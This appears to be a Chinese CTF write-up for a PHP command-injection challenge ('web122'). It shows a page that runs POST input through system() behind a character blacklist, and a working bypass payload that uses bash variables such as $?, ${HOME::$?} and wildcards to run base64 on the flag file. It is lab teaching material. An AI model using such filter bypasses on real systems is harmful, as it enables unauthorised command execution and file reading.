web122笔记(禁好多)
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
禁了这么多,老实了。发现HOME,RANDOM,我们这里选用命令是/bin/base64 flag.php,之前的命令都因为SHLVL被禁用不了了。
$? 表示上一条命令执行结束后的传回值。通常0表示执行成功,非0表示执行有误
有部分指令执行失败时会返回1,也有一些命令返回其他值,表示不同类型的错误 比如Command not found就会返回127
为了能让 $? 能够返回1,则需要让前一条命令是错误的,这个错误命令的返回值就是1这里的话可以用 <A,然后就是${RANDOM::1} RANDOM函数输出随机的整数,1表示输出一个整数,而1被过滤,使用$?即可。最终payload
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
《==》/bin/base64 flag.php
过滤了PWD、#,⽩名单了HOME 查看⼀下hint $?
$?是表示上⼀条命令执⾏结束后的传回值。通常0代表执⾏成功,⾮0代表执⾏有误
利⽤<A构造数字1,然后看运⾏跑出数字4
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???


"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
浙公网安备 33010602011771号